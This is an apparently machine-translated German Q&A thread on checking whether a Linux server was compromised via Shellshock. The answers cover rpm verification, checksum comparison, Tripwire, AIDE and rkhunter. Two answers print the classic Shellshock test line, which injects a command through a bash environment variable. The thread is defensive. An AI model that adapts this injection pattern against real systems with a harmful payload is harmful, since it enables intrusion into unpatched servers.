-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

Nach einer Weile bemerkte ich SSH-Verbindungen von verschiedenen Orten wie China, die normalerweise unseren Server nicht so oft besuchen. Ich patched bash als Notfallmaßnahme (wäre es schön gewesen, Quellen von der FSF-Website und nicht nur die wirklich alten Quellen und Patch-Dateien gepatcht zu haben (von denen eine zuerst nicht richtig angewendet). Das System ist jetzt für eine vollständige Löschung vorgesehen. Wenn also jemand nach etwas anderem zum Angriff sucht, können Sie fragen, aber tun Sie es bald.


4
2017-10-01 00:23





Diese Antwort bezieht sich nicht speziell auf Shellshock, sondern auf jedes System, das Sie für kompromittiert halten

zweite Anmerkung: Sie können nicht sicher sein, dass Sie sich von einem kompromittierten System zu einem Root-System erholt haben. Ihre einzige Maßnahme besteht darin, das System zu zerstören und neu bereitzustellen

Versuche, einen sauberen statischen Build von zu bekommen rpm und Befehl ausführen rpm --verify --all. Es wird Ihnen sagen, welche Dateien zu einem Paket geändert wurden. Da Sie es jedoch auf einem kompromittierten System ausführen können, können Sie dem Ergebnis möglicherweise nicht vollständig vertrauen. Dann machst du einfach ein rpm -qa Um die Liste der Pakete zu erhalten, erstellen Sie ein anderes System mit den gleichen Paketversionen und dann ein find / -type f |xargs -r -n 100 md5sum |sort auf beiden systemen und sehen was sich unterscheidet. Auch wenn Sie Ihr System ordnungsgemäß verwalten (dh nichts manuell außerhalb von / opt oder / usr / local / bin oder einem anderen nicht verwalteten Ort installieren), können Sie nach allen Dateien in Ihrem System suchen, die nicht zu einem Paket gehören find / -type f -exec rpm -qf {} \;. Es sollte Fehler für unbekannte Dateien zeigen. Ich lasse dich das Positive nicht als Übung zeigen ;-)

Um das gleiche mit kryptografischen Proofs zu tun, gibt es ein Tool namens Tripwire die Sie immer noch als kostenlose Version finden können. Es ist alt, aber macht seine Arbeit. Eine neuere Alternative ist AIDE, aber es hat kein Krypto benutzt, als ich es vor Jahren angeschaut habe.

Es gibt einige Tools, die helfen können. Zum Beispiel nach Paket suchen rkhunter. Es wird Ihren Computer nach bekannten Root-Toolkits und ausgenutzten Dateien durchsuchen.

Offensichtlich sollten diese Tools installiert und konfiguriert sein, bevor das System kompromittiert wird, und diese Tools können auch gezielt eingesetzt werden, wenn Ihr System erfolgreich für den Root-Zugriff gehackt wurde. Außerdem können diese Tools sehr intensiv sein und Ihr System verlangsamen.


3
2017-09-30 21:04





Der einzige Weg, um zu wissen, ob Ihr Server kompromittiert ist, ist irgendwo eine Signatur Ihrer Dateien zu haben und Ihre aktuellen Dateien damit zu vergleichen. Trotzdem können Sie sehen, ob Sie verwundbar sind.

  1. du kannst nicht. Es ist vernünftig anzunehmen, dass, wenn Ihre Maschine tatsächlich kompromittiert ist, Ihre üblichen Überwachungswerkzeuge (ps, top, lsof, ...) durch ähnliche Werkzeuge ersetzt wurden, deren Ausgabe normal aussieht und verdächtige Aktivitäten verbergen
  2. Nein. kann in jedem Ordner mit ausführbaren Dateien sein.
  3. alle ausführbaren Dateien oder Skripte (ELF-Binärdatei, .shell-Skript, ...), einschließlich der üblichen Überwachungswerkzeuge

2
2017-10-01 10:15





Wie finde ich heraus, ob Ihre Linux-Box kompromittiert ist?

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Wenn wenn zurückkommt

vulnerable
this is a test

Sie sind.

Um das Update auszuführen, führen Sie unter root den folgenden Befehl aus

sudo yum update bash

-3
2017-09-29 14:14



-1 Überprüfen Sie, ob die Bash angreifbar ist und nicht, ob sie tatsächlich kompromittiert wurde. - Calimo
Es wird außerdem davon ausgegangen, dass Sie ausgeführt werden yum und kein anderer Paketmanager. - DavidG


Sie können überprüfen, ob Sie angreifbar sind, indem Sie die folgenden Befehle ausführen (vom CSA bereitgestellter Code). Öffnen Sie ein Terminal-Fenster und geben Sie an der Eingabeaufforderung $ folgenden Befehl ein:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Wenn deine Bash NICHT aktuell ist, wird sie gedruckt:

vulnerable
this is a test

Wenn Ihre Bash aktuell ist, sehen Sie nur:

this is a test

Mehr Details sind dahinter verfügbar Verknüpfung.


-3
2017-10-01 11:08



Die Frage war, ob ein Server gefunden wurde kompromittiertnicht, dass es ist verwundbar - Gareth
Bitte denken Sie daran, andere Antworten zu lesen, bevor Sie eine sehr ähnliche Antwort schreiben, deren Ergebnis niedrig ist, weil sie die Frage NICHT beantwortet. - Manu H